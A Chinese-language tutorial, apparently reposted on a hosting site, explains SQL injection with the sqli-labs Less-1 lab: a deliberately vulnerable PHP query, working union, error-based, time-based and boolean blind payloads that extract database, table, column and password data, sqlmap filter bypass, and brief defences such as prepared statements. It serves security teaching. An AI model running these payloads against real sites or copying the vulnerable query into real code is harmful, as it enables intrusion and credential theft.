您好,登錄后才能下訂單哦!
這篇文章主要講解了“SQL注入漏洞的原理”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“SQL注入漏洞的原理”吧!
用戶提交數據后,后端服務器將用戶提交的數據帶入sql語句對數據庫進行操作,如果沒有進行過濾,那么用戶提交構造好的特殊語句,就可以對數據庫進行非法的操作,即引發sql注入,例如以下代碼(sqli-labs-1)
//GET方式獲取name為id的值賦值給$id變量;
$id=$_GET['id'];
//定義$sql變量,值為下一步要執行的sql語句,將$id變量帶入sql語句中;
$sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1";
//將上一步定義的$sql變量的值作為sql語句帶入數據庫查詢,并將結果賦值給$result變量,mysql_query為php提供的數據庫查詢函數;
$result=mysql_query($sql);
//從上一步查詢的結果集中去的一行作為數組返回并賦值給$row變量;
$row = mysql_fetch_array($result);
//如果$row值不為空,即數據庫查詢數據正常,則打印出username和password的值;
if($row)
{
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
數據庫中有數據如下
那么用戶提交?id=-1,則代入數據庫正常查詢且正常輸出
但如果用戶提交的數據為
?id=-1' union select 1,2,database() --+
那么則會返回我們構造的語句對數據庫進行的查詢操作返回的值
我們將兩個提交的數據都帶入我們后端的執行中對比,如下
原始語句:SELECT * FROM user WHERE id='$id' LIMIT 0,1
正常帶入數據:SELECT * FROM user WHERE id='1' LIMIT 0,1
非法帶入數據:SELECT * FROM user WHERE id='-1' union select 1,2,database() --+' LIMIT 0,1
--(注:在執行sql語句時,“--”是sql語句中的注釋符,但是使用時--后要有一個空格才能起到注釋作用,否則會報錯,這里的+號經過處理后會變成空格,用來和后面的單引號分隔開,才能將后面的語句注釋。)
可以看到,如果沒有經過過濾就將用戶提交的非法數據帶入后端執行的話,真正執行的語句是SELECT * FROM user WHERE id='-1' union select 1,2,database() -- ' LIMIT 0,1
,而后面被注釋的部分不執行,那么就不會引發錯誤,在查詢id字段值為-1沒有結果后,就會執行union查詢,查詢出數據庫名并輸出,這就是最典型的sql注入。
就不按照數字型字符型這些來分類了,我認為按照利用方式來分類更容易理解
有回顯
Union query #聯合查詢注入,通過union聯合查詢獲取查詢結果 Error based #報錯注入,通過報錯信息獲取查詢結果
無回顯
Boolean based blind #布爾盲注,通過應用返回不同的值判斷條件真假 Time based blind #時間盲注,通過不同的時間延遲推斷條件真假
提交的參數與數據庫交互,參數添加“ ' ”(英文單引號),出現異常(sql語法錯誤),即存在sql注入,如果無回顯,可以通過延時或者布爾盲注來檢測是否存在漏洞。
注:異常報錯的原因是因為后臺將參數中的單引號帶入sql語句進行數據庫操作,多了一個單引號引發sql語法錯誤,所以報錯即整明了我們的單引號進入了sql語句執行中。
使用sqlmap進行檢測,這里是下載地址和使用說明點擊跳轉
有回顯型構造語句查詢數據,無回顯型進行盲注,不過比較費時間。
這里就以mysql的數據庫,sqli-labs的less-1為例,列出一些常用的語句,如果要詳細展開細講的話,篇幅肯定會特別特別長,一篇文章恐怕各位看官們也看不下去,各位需要用到更多的語句時自行百度即可,如果需要的話后面可以分開出詳細的各中注入方式的詳解文章。
爆列數:?id=-1' order by n--+(“n”到幾不報錯則有n-1列)
爆庫名:?id=-1' union select 1,2,database() --+
爆表明:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆數據:?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
注:使用中根據實際需要修改字段數(列數)以及庫名表名等,union查詢的字段數需要和表中的字段數相同才可以
爆庫名:?id=-1’ union select count(*),count(*),concat(‘~’,(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名:?id=-1' union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆列名:?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆數據:?id=-1' union select count(*),1, concat('~',(select concat_ws(':',username,password) from users limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆庫長:?id=1' and if(length(database())=8,sleep(5),NULL)--+
爆庫名:?id=1' and if(left(database(),1)='s',sleep(5),NULL)--+
爆表名:?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),NULL)--+
爆列明:?id=1' and if(left((select column_name from information_schema.columns where table_name = 'users' limit 1,1),8)='username',sleep(5),NULL)--+
爆數據:?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+
爆庫名:?id=1' and left((select database()),1)='s'--+
爆表名:?id=1' and left((select table_name from information_schema.tables where table_schema ='security' limit 3,1),5)='users'--+
爆列明:?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'--+
爆數據:?id=1' and left((select username from users order by id limit 0,1),4)='dumb'--+
無回顯的還有一種利用方式是利用DNSlog外帶查詢的內容,這里有一位師傅講的已經很詳細了,點擊查看原文
以上為GET型注入,POST型類似,修改參數值即可。
依舊是sqlmap一把梭,實戰中根據實際需求使用tamper進行繞過一些過濾。
用戶可控的參數與數據庫有交互的地方,常見與查詢,登錄等;
在測試中可以爬取網站的一些api查詢接口,也會存在sql注入。
為網站添加waf,雖然不能修復sql注入漏洞,但是可以攔截敏感數據以防止sql注入被黑客利用
在服務器端添加過濾代碼以過濾可能引發sql注入的敏感字符
示例:
prepare baizesec from 'select username,password from users where id=?'; 定義預編譯語句
set @a=1; 傳參數
execute baizesec using @a; 調用
感謝各位的閱讀,以上就是“SQL注入漏洞的原理”的內容了,經過本文的學習后,相信大家對SQL注入漏洞的原理這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。